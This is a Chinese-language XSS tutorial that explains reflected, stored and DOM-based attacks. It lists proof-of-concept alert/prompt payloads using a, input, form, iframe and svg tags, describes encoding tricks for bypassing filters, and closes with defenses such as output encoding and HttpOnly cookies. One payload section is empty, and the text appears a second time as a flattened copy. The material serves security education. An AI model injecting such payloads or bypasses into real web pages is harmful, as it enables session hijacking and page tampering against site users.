XSS小结
字数 1862 2025-08-27 12:33:37

XSS(跨站脚本攻击)全面解析与防御指南

一、XSS基础概念

1.1 定义

XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。XSS是一种注入型攻击,攻击者在可信网页中嵌入恶意代码,当用户访问该网页时触发攻击。

1.2 危害

XSS攻击可造成多方面危害:

  • 网络钓鱼,获取各类用户账号
  • 窃取用户cookies资料,获取隐私信息
  • 劫持用户会话,执行非法操作(转账、强制发表内容等)
  • 强制弹出广告、刷流量
  • 网页挂马
  • 任意篡改页面信息、删除文章
  • 发起DDoS攻击
  • 获取客户端信息(浏览历史、真实IP、开放端口等)
  • 控制受害者机器向其他网站发起攻击
  • 结合CSRF等其他漏洞实施进一步危害
  • 提升用户权限,渗透网站
  • 传播跨站脚本蠕虫

二、XSS产生原理

通过在用户端注入恶意的可执行脚本,若服务器对用户输入不进行处理或处理不严,浏览器就会直接执行这些恶意脚本。

三、XSS常见漏洞点

3.1 数据交互处

  • GET/POST参数
  • Cookies
  • Headers

3.2 反馈与浏览

  • 富文本编辑器
  • 各类标签插入和自定义

3.3 数据输出处

  • 用户资料展示
  • 关键词、标签、说明
  • 文件上传功能

四、XSS分类与攻击方式

4.1 反射型XSS(非持久型)

特点:一次性攻击,只在用户点击特定链接时触发

常见注入点

  • 网站搜索栏
  • 用户登录入口
  • 输入表单

攻击流程

  1. 攻击者构造包含XSS代码的恶意链接
  2. 通过邮件等方式发送给目标用户
  3. 用户点击链接访问
  4. 服务器处理请求并返回含XSS代码的响应
  5. 用户浏览器解析执行恶意脚本

4.2 存储型XSS(持久型)

特点:攻击脚本永久存储在服务器数据库中,危害更大

常见注入点

  • 论坛、博客
  • 留言板
  • 评论系统

攻击流程

  1. 攻击者在发帖/留言中注入恶意脚本
  2. 服务器存储该内容
  3. 其他用户浏览该内容
  4. 恶意脚本在用户浏览器中执行

4.3 DOM型XSS

特点:基于DOM文档对象模型,不依赖服务器交互

注入点

  • 通过JS脚本动态修改页面内容
  • 客户端从DOM获取数据并执行

攻击流程

  1. 攻击者构造特殊URL
  2. 用户访问该URL
  3. 服务器响应不包含攻击脚本
  4. 客户端DOM处理时触发XSS漏洞

五、XSS常用攻击标签与Payload

5.1 ``标签利用








5.2 <a>标签利用

<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

5.3 <input>标签利用

<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>

5.4 <form>标签利用

<form action=javascript:alert('xss') method="get">
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form action=1 onmouseover=alert('xss)>
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

5.5 <iframe>标签利用

<iframe src=javascript:alert('xss');height=5width=1000 />
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') />
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

5.6 <svg>标签利用

<svg onload=alert(1)>

六、XSS编码绕过技术

6.1 JS编码

  • 八进制:\141(a的编码)
  • 十六进制:\x61(a的编码)
  • Unicode:\u0061(a的编码)
  • 控制字符:\n\r

6.2 HTML实体编码

  • 命名实体:&lt;(<的编码)
  • 字符编码:
    • 十进制:&#60;
    • 十六进制:&#x003c;

6.3 URL编码

全编码(两次URL编码):
alert%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34

6.4 String.fromCharCode编码

alertString.fromCharCode(97,108,101,114,116)

七、XSS防御措施

7.1 输入过滤

输入验证

  • 仅接受指定长度范围内的合法格式内容
  • 验证内容:
    • 是否仅包含合法字符
    • 字符串长度限制
    • 数字范围验证
    • 特定格式验证(邮箱、电话、IP等)

数据消毒
过滤敏感字符:

< > ' " & # javascript expression

7.2 输出编码

对输出数据进行HTML编码等处理,使潜在危害信息无害化

7.3 白名单与黑名单

制定严格的过滤策略

7.4 安全编码规范

遵循Web安全编码最佳实践

7.5 DOM型XSS防御

  • 避免客户端文档重写、重定向等敏感操作
  • 强化客户端JS代码,特别是受影响的DOM对象

7.6 其他防御工具

  • Anti_XSS:微软开发的.NET平台防御类库
  • HttpOnly Cookie:阻止JS直接访问Cookies
  • Noscript:默认禁止所有脚本的浏览器插件
  • WAF:Web应用防火墙(软件/硬件/云WAF)

八、总结

XSS攻击形式多样,危害严重,防御需要从输入验证、输出编码、安全配置等多方面入手。开发者应充分了解各种XSS攻击手法,在开发过程中实施严格的安全措施,同时结合专业安全工具,构建全面的防御体系。

XSS(跨站脚本攻击)全面解析与防御指南 一、XSS基础概念 1.1 定义 XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。XSS是一种注入型攻击,攻击者在可信网页中嵌入恶意代码,当用户访问该网页时触发攻击。 1.2 危害 XSS攻击可造成多方面危害: 网络钓鱼,获取各类用户账号 窃取用户cookies资料,获取隐私信息 劫持用户会话,执行非法操作(转账、强制发表内容等) 强制弹出广告、刷流量 网页挂马 任意篡改页面信息、删除文章 发起DDoS攻击 获取客户端信息(浏览历史、真实IP、开放端口等) 控制受害者机器向其他网站发起攻击 结合CSRF等其他漏洞实施进一步危害 提升用户权限,渗透网站 传播跨站脚本蠕虫 二、XSS产生原理 通过在用户端注入恶意的可执行脚本,若服务器对用户输入不进行处理或处理不严,浏览器就会直接执行这些恶意脚本。 三、XSS常见漏洞点 3.1 数据交互处 GET/POST参数 Cookies Headers 3.2 反馈与浏览 富文本编辑器 各类标签插入和自定义 3.3 数据输出处 用户资料展示 关键词、标签、说明 文件上传功能 四、XSS分类与攻击方式 4.1 反射型XSS(非持久型) 特点 :一次性攻击,只在用户点击特定链接时触发 常见注入点 : 网站搜索栏 用户登录入口 输入表单 攻击流程 : 攻击者构造包含XSS代码的恶意链接 通过邮件等方式发送给目标用户 用户点击链接访问 服务器处理请求并返回含XSS代码的响应 用户浏览器解析执行恶意脚本 4.2 存储型XSS(持久型) 特点 :攻击脚本永久存储在服务器数据库中,危害更大 常见注入点 : 论坛、博客 留言板 评论系统 攻击流程 : 攻击者在发帖/留言中注入恶意脚本 服务器存储该内容 其他用户浏览该内容 恶意脚本在用户浏览器中执行 4.3 DOM型XSS 特点 :基于DOM文档对象模型,不依赖服务器交互 注入点 : 通过JS脚本动态修改页面内容 客户端从DOM获取数据并执行 攻击流程 : 攻击者构造特殊URL 用户访问该URL 服务器响应不包含攻击脚本 客户端DOM处理时触发XSS漏洞 五、XSS常用攻击标签与Payload 5.1 `` 标签利用 5.2 <a> 标签利用 5.3 <input> 标签利用 5.4 <form> 标签利用 5.5 <iframe> 标签利用 5.6 <svg> 标签利用 六、XSS编码绕过技术 6.1 JS编码 八进制: \141 (a的编码) 十六进制: \x61 (a的编码) Unicode: \u0061 (a的编码) 控制字符: \n 、 \r 等 6.2 HTML实体编码 命名实体: &lt; ( <的编码) 字符编码: 十进制: &#60; 十六进制: &#x003c; 6.3 URL编码 全编码(两次URL编码): alert → %25%36%31%25%36%63%25%36%35%25%37%32%25%37%34 6.4 String.fromCharCode编码 alert → String.fromCharCode(97,108,101,114,116) 七、XSS防御措施 7.1 输入过滤 输入验证 : 仅接受指定长度范围内的合法格式内容 验证内容: 是否仅包含合法字符 字符串长度限制 数字范围验证 特定格式验证(邮箱、电话、IP等) 数据消毒 : 过滤敏感字符: 7.2 输出编码 对输出数据进行HTML编码等处理,使潜在危害信息无害化 7.3 白名单与黑名单 制定严格的过滤策略 7.4 安全编码规范 遵循Web安全编码最佳实践 7.5 DOM型XSS防御 避免客户端文档重写、重定向等敏感操作 强化客户端JS代码,特别是受影响的DOM对象 7.6 其他防御工具 Anti_ XSS :微软开发的.NET平台防御类库 HttpOnly Cookie :阻止JS直接访问Cookies Noscript :默认禁止所有脚本的浏览器插件 WAF :Web应用防火墙(软件/硬件/云WAF) 八、总结 XSS攻击形式多样,危害严重,防御需要从输入验证、输出编码、安全配置等多方面入手。开发者应充分了解各种XSS攻击手法,在开发过程中实施严格的安全措施,同时结合专业安全工具,构建全面的防御体系。